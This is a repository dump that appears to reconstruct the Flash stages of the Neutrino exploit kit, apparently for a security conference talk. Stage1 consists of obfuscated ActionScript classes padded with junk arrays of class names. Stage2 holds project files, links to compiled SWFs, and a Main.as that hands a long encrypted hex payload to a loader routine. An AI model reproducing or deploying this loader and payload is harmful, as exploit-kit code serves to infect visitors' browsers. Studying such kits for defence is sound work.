12 | fdhvdwute = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType"];
13 | super();
14 | }
15 | }
16 | }
17 |
18 | var pjkcvpaoyphfuc:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode","AllRuntimeSparkControls","ContentElement","ApplicationListItem","Context3DStencilAction","NumberInterpolator","StringUtil","CameraPosition","HTMLHost","PNGEncoderOptions"];
19 |
20 | var wpnwagiatieylcv:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign"];
21 |
--------------------------------------------------------------------------------
/Neutrino_Stage1/src/n/oelhdtojbpbvzcs.as:
--------------------------------------------------------------------------------
1 | package n
2 | {
3 | import mx.core.ByteArrayAsset;
4 |
5 | public class oelhdtojbpbvzcs extends ByteArrayAsset
6 | {
7 |
8 | private var yuzhsntzkcq:Array;
9 |
10 | public function oelhdtojbpbvzcs()
11 | {
12 | yuzhsntzkcq = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition"];
13 | super();
14 | }
15 | }
16 | }
17 |
18 | var radidtid:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode","AllRuntimeSparkControls","ContentElement","ApplicationListItem","Context3DStencilAction","NumberInterpolator","StringUtil","CameraPosition","HTMLHost","PNGEncoderOptions"];
19 |
20 | var esellzcbv:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode","AllRuntimeSparkControls","ContentElement","ApplicationListItem","Context3DStencilAction","NumberInterpolator","StringUtil","CameraPosition","HTMLHost","PNGEncoderOptions","SoftKeyboardType","URIParser"];
21 |
--------------------------------------------------------------------------------
/Neutrino_Stage1/src/n/rjyntwnhzvk.as:
--------------------------------------------------------------------------------
1 | package n
2 | {
3 | import mx.core.ByteArrayAsset;
4 |
5 | public class rjyntwnhzvk extends ByteArrayAsset
6 | {
7 |
8 | private var tsllmn:Array;
9 |
10 | public function rjyntwnhzvk()
11 | {
12 | tsllmn = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode"];
13 | super();
14 | }
15 | }
16 | }
17 |
18 | var chstbaskhcr:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode","AllRuntimeSparkControls"];
19 |
20 | var pbyyazmegcnpvmd:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode","AllRuntimeSparkControls","ContentElement","ApplicationListItem","Context3DStencilAction","NumberInterpolator","StringUtil","CameraPosition","HTMLHost","PNGEncoderOptions","SoftKeyboardType","URIParser","OverlayDepth"];
21 |
--------------------------------------------------------------------------------
/Neutrino_Stage1/src/n/rqwkyzncicmmys.as:
--------------------------------------------------------------------------------
1 | package n
2 | {
3 | import mx.core.ByteArrayAsset;
4 |
5 | public class rqwkyzncicmmys extends ByteArrayAsset
6 | {
7 |
8 | private var qecsb:Array;
9 |
10 | public function rqwkyzncicmmys()
11 | {
12 | qecsb = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition"];
13 | super();
14 | }
15 | }
16 | }
17 |
18 | var axykbacxdybldfh:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage"];
19 |
20 | var lxlkskfkwzeefdf:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager"];
21 |
--------------------------------------------------------------------------------
/Neutrino_Stage1/src/n/tbgnlhvjaxl.as:
--------------------------------------------------------------------------------
1 | package n
2 | {
3 | import mx.core.ByteArrayAsset;
4 |
5 | public class tbgnlhvjaxl extends ByteArrayAsset
6 | {
7 |
8 | private var sbhueg:Array;
9 |
10 | public function tbgnlhvjaxl()
11 | {
12 | sbhueg = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions"];
13 | super();
14 | }
15 | }
16 | }
17 |
18 | var gnccdzvdtmmyotw:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System"];
19 |
20 | var nsbfkfebkyel:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo"];
21 |
--------------------------------------------------------------------------------
/Neutrino_Stage1/src/n/ycnlilujqqnb.as:
--------------------------------------------------------------------------------
1 | package n
2 | {
3 | import mx.core.ByteArrayAsset;
4 |
5 | public class ycnlilujqqnb extends ByteArrayAsset
6 | {
7 |
8 | private var hqars:Array;
9 |
10 | public function ycnlilujqqnb()
11 | {
12 | hqars = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode","AllRuntimeSparkControls","ContentElement","ApplicationListItem","Context3DStencilAction","NumberInterpolator","StringUtil","CameraPosition","HTMLHost"];
13 | super();
14 | }
15 | }
16 | }
17 |
18 | var yoahszs:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine"];
19 |
20 | var whdvkeqotpit:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode","AllRuntimeSparkControls","ContentElement","ApplicationListItem","Context3DStencilAction","NumberInterpolator","StringUtil","CameraPosition"];
21 |
--------------------------------------------------------------------------------
/Neutrino_Stage1/src/n/ysbcwizhovr.as:
--------------------------------------------------------------------------------
1 | package n
2 | {
3 | import mx.core.ByteArrayAsset;
4 |
5 | public class ysbcwizhovr extends ByteArrayAsset
6 | {
7 |
8 | private var lxsnruyjz:Array;
9 |
10 | public function ysbcwizhovr()
11 | {
12 | lxsnruyjz = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter"];
13 | super();
14 | }
15 | }
16 | }
17 |
18 | var teoovakj:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType","ProviderFactoryImpl","MetricBase","ListStylePosition","ListRowInfo","Array","FunctionParameterVO","FormatMessage","RenderData","AVNetworkingParams","NetStreamPlayTransitions","Context3DTextureFilter","LineScaleMode","TextFormatAlign","TextFlowLine","Token","MinAggregator","ServiceBinder","CustomActions","BrowserManager","CFFHinting","System","LayoutMode","AllRuntimeSparkControls","ContentElement","ApplicationListItem","Context3DStencilAction","NumberInterpolator","StringUtil","CameraPosition","HTMLHost","PNGEncoderOptions","SoftKeyboardType"];
19 |
20 | var qttxkxx:Array = ["LoggerFactory","Back","UIComponentCachePolicy","CollectionFunc","LigatureLevel","ServiceDelegate","AlignmentArea","PackageElement","Category","ReviewType","DomainFactory","ClassFactory","DocumentType","RuleBase","DynamicStreamingVideoSource","DataDictionaryElementType"];
21 |
--------------------------------------------------------------------------------
/Neutrino_Stage2/Neutrino_Stage2.as3proj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/Neutrino_Stage2/bin/NeutrinoStage2.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rj-chap/ExposingNeutrino/f1cb06dc6d97aa5fb8588d923d3105f4c8196ed0/Neutrino_Stage2/bin/NeutrinoStage2.swf
--------------------------------------------------------------------------------
/Neutrino_Stage2/bin/expressInstall.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rj-chap/ExposingNeutrino/f1cb06dc6d97aa5fb8588d923d3105f4c8196ed0/Neutrino_Stage2/bin/expressInstall.swf
--------------------------------------------------------------------------------
/Neutrino_Stage2/bin/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Neutrino_Stage2
6 |
7 |
8 |
9 |
29 |
33 |
34 |
35 |
36 |
Neutrino_Stage2
37 |
Get Adobe Flash player
38 |
39 |
40 |
--------------------------------------------------------------------------------
/Neutrino_Stage2/bin/js/swfobject.js:
--------------------------------------------------------------------------------
1 | /* SWFObject v2.2
2 | is released under the MIT License
3 | */
4 | var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab
2 |
3 |
4 |
5 | 18.0
6 | false
7 | true
8 |
9 |
10 | CONFIG::debug
11 | true
12 |
13 |
14 | CONFIG::release
15 | false
16 |
17 |
18 | CONFIG::timeStamp
19 | '8/2/2016'
20 |
21 |
22 | CONFIG::air
23 | false
24 |
25 |
26 | CONFIG::mobile
27 | false
28 |
29 |
30 | CONFIG::desktop
31 | false
32 |
33 | true
34 |
35 | C:\Users\REM\Documents\Neutrino_Stage2\src
36 | C:\Program Files\FlashDevelop\Library\AS3\classes
37 |
38 |
39 |
40 | C:\Users\REM\Documents\Neutrino_Stage2\src\Main.as
41 |
42 | #FFFFFF
43 | 30
44 |
45 | 800
46 | 600
47 |
48 |
--------------------------------------------------------------------------------
/Neutrino_Stage2/obj/Neutrino_Stage2Config.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 18.0
6 | false
7 | true
8 |
9 |
10 | CONFIG::debug
11 | true
12 |
13 |
14 | CONFIG::release
15 | false
16 |
17 |
18 | CONFIG::timeStamp
19 | '8/2/2016'
20 |
21 |
22 | CONFIG::air
23 | false
24 |
25 |
26 | CONFIG::mobile
27 | false
28 |
29 |
30 | CONFIG::desktop
31 | false
32 |
33 | true
34 |
35 | C:\Users\REM\Documents\Neutrino_Stage2\src
36 | C:\Program Files\FlashDevelop\Library\AS3\classes
37 |
38 |
39 |
40 | C:\Users\REM\Documents\Neutrino_Stage2\src\Main.as
41 |
42 | #FFFFFF
43 | 30
44 |
45 | 800
46 | 600
47 |
48 |
--------------------------------------------------------------------------------
/Neutrino_Stage2/src/Main.as:
--------------------------------------------------------------------------------
1 | package
2 | {
3 | import flash.display.Sprite;
4 | import flash.events.Event;
5 | import flash.utils.ByteArray;
6 |
7 | /**
8 | * ...
9 | * @author BSLV16 rocks!
10 | */
11 | public class Main extends Sprite
12 | {
13 |
14 | public function Main()
15 | {
16 | if (stage) init();
17 | else addEventListener(Event.ADDED_TO_STAGE, init);
18 | }
19 |
20 | private function init(e:Event = null):void
21 | {
22 | removeEventListener(Event.ADDED_TO_STAGE, init);
23 | // entry point
24 | var get_it_gurl:class_1 = new class_1();
25 | get_it_gurl.et(toArray("34343523CEFA562CF8126AE3EA36E3F5ABEECF5199437A3A066A50B959181AB64904BB208A1B2379B4819F484ED7DF99F05C88B206DD282554234B62077D27D2C0897A8145114195FBE3EA6272552351A12E361AB8D3AB61DBB6D86CEBF7FD6F8A98AA80D0FA28175E46B6544FF8B5167337A5FCE2C3E480463586738D4751164CB98BB3CB119C30CA23EC8C5095A48F41DD7CB6D8DCD6D1730DD310B36EE47867A2E2216B3E6F7825733EF72FD10D03CD0C3081C4EEE0049AD8659BC0758C0F678BA33558370C416AC6ABF470771005A086A3760296E19E995C4DC4ACB4EE4D7F06E66FA89D21B06106897DE823E8E4F204D24BAC930B4BE603769D83ADE0BCC57E22BDBDDEB5516ED5E8DDC431A7DDDF1CCFFA8240C6E41E28452FC62F24E26AA69DBE5C9DB3CCCA74B7A1286A17D27718A6CB3B87E54A3AD451069E43775E4642C55E031A8907129282A8CDD5D7E7D30368561DA886F50419DF43FC2A1688C7FB327A54587E025C3C2DD4847B915F87B1C9913C38B68B757B4E4F0CDA5333FAF661C247D520A9C5CB5D061EB5723AAF1FDC370E1C192980CFBC15FE0CAC43764B3E12D3881AE9E9F86DEF2B877EF548C6C54D7B51DD8848E13F3CF48F7EAEF5D38AE3A652CEF19534E64B4BAA8E3106CC574BF512EFFBEC38A7DF0567EFA4AE057B3B63040186A5286CCCB3899C272FC7898CE9127B8FD38D875B6496940DE00A4811FAE309F9BE660EBE29AC1EB58CD28108E08BF8764881D710589221FA8BCF1D26819C84ABB197820158406A7B02FD4649039A6518ADA7FF6D5CDF16661B1400ED3DC85AE1887D9BF56AB35BE2C4EA245A0E5ADEC47EAC068C17918877D3225D60EB65B00C12631266C31ADB224360CAFEB9E2534C0914A087D2DADBBF5E605E36CEAE99938EE6164D398203C695EC25B7D14290EEB21AEFF3ED59C9FAEF3B418620148DF22B932E25E55CB50B015BEC0DC70D47461FFD46A6D3B55A7146F0579F759A5748F87BA4B0713E4978BAC6218FBC188E5B2FA7ED06BD4BD01C0022AE00AB4ED796370E44C1F5CEEFCA9E09C656AC55E653566135DB51B26819B881BF6F173D98DB2893C7C2898C265B5FA9C4AEE5A320D5CA30588C1D46318AF837B148CA2BF6EFDC249C066016E761F45E36F0CA3B3E1A5035311DFFD13354AD12A4185AA1B4A82A761B055C508BD05FE5379BF9906C35CEA83010606B22A9F8638DD94954CDBEA304D822EF1430930071022E4B094F5F977A61A31BB3D9A5F56DC36C7450886D58E996A26B5B10DB034C997A579B8EA6267A68F6BD75808C48B16C604D113F604F6EC6CFC2706311AF8D6226B1E001B23BBB9C9591CC5D8D0F014FF3D8A980AA0D771122F86B8FA507260FD01DFF9D4C86E3EE1F0152E562D158A1C03FE66D644F5216DAE9FAAAC79F6778B39AE45C09732AC349441CFF3E0AD87567FB2858D2457C6732AB3EF50AF83ABC42844186CCD1F3CAC743F33A843D180AC653C4479B4B1F2072819BD6FE69CCF89811BE156C9FE4EF05033EB9EB55B6F644A89D0504DDB2FA8AC2EFCFEFB7E1E7E1A0490938D4EE1E705DFF190D7B491229FDD9B7DB8BB2664EA1353D5917243AB86E44F043320FB3900FCD9E8A16B0B314896AEF151C5663BE8BA017A3C5525B34964C78C95C2B596BF9F7F510A8A92432131447306AAAEFF64B07991159F546F042BEB99EEA1309E30AFEF3B3A718E5BB2C2CEC97D7DC8E22E327343C1D7A2C5F38E6FD23F906060404FAB7AC139C6740C954D7A03065C3138DF750AA727C09AA6206CD5B0DD46011CF17BEE2B426227D7AFA1EAA60E1BEEDD90E984B8BA1F6EDA8C349B598A9C768C1854B75AB6DF3256811D0C8F38EB6CC9D4E1728EF0D1698D1604D6A0A14D2CB991D40458B336AF3453BBC38CA720467C01C8FB029A648FB06966510AB38DB45551C8AE150F5D4953091CEFA03D262C4EEF2751898BE139E5479AE00B18A4507A6CFE8F7C5BD8DF54E5BF0522D52171C448C35DD4A497B9FC22A9F74B4E57B5BB563537A20E06F6E3B60C169B3D886F864BBD5AF04514FC77BEF3B30D4B68C8919DF033ABF73A9FBD36A648742EA7FA7A65457AAA5A6712196AC526A63DEF47DBDF7B77D6B61783FCBDDC60EC745B66E9A0D1840B48A624A37B4B49B92A8184FA0D0CD0C31454BFC22120BEA57C158F2CE713382FC95CD334981CEDB2AE62BCBB7F8D7E83E23E56035F04B8DB2A3808015B3031148D0449152136D7DFA9948B192209AD0447F317A6F7D07212088A2363BA64783778C15C9A083479A1D904CAFB1E680F565B270D52F77F750009A863B40CEBFB75AD581FB58C8957659E2250AC8A6FF2E596F0488E7FBD9E7965F23D62EE28E89B7108410D91A8632FCAC3CC5523CF3ACABF83493F30D7B896D9E609C81EF2538FFA948D8C3CF0BC07B4785CE83797A2F71AFC365BD3FEF2BDD50C75E3FEC973F96E0185AAF231A2A6BA0F9EE19731E8A23E1F0E020DF0BFE2FD35D6FBFF5AE56D5C6B084EACBAF556BA844851C620F3F44001F65DF2B640FFEC27FBEB72D148CF4C511DF91C134FC69798186DC91C52191E5877110EB810EAD00CC642EE1F123A6030237C437342DB0B6B38C4879AED95E354B6E20CC7DCECD4933FB2B241ED227200AEB583E1908F5CD953D464317A4786213992F9067FDDA9AF805BF17D7E738E1D29020EC9915B92F5300736AA4EBCDB785FC48EDFA2287F227470AFF2E42E101D301EE6D17A79C6AA80FD54CFBA204809F4C6E996FF68C973D96966CD9786EAD795C1A9104B7FCACC6D1F9C274FD43134AB1ACBAA73851E4CEE851A860BF55DA1B706C202768CCEE3AC6B0AEC3F3C10EA46DC94BA61A307503811D6341733E5DE3AA7D0A124AF84D10A9FBD49CBCE3412AAC8DD1C7BD46CA3F642E81D76CDEBB175CC629A6BF76B668728B052F6E46591AD32BE29171ACD1D6DB52AE4830695F8C308933F000EA5972755EA1E3A5FBFE7926E00A988DDC6E682E1CB05F8610ECB7991FA79909010B7E5FAD6205A8607ECF418967CE65D63793F3E7F37AF8DF3191FFD92A08DA36873AE4E93F8D4ABE5C8B47C459AC9A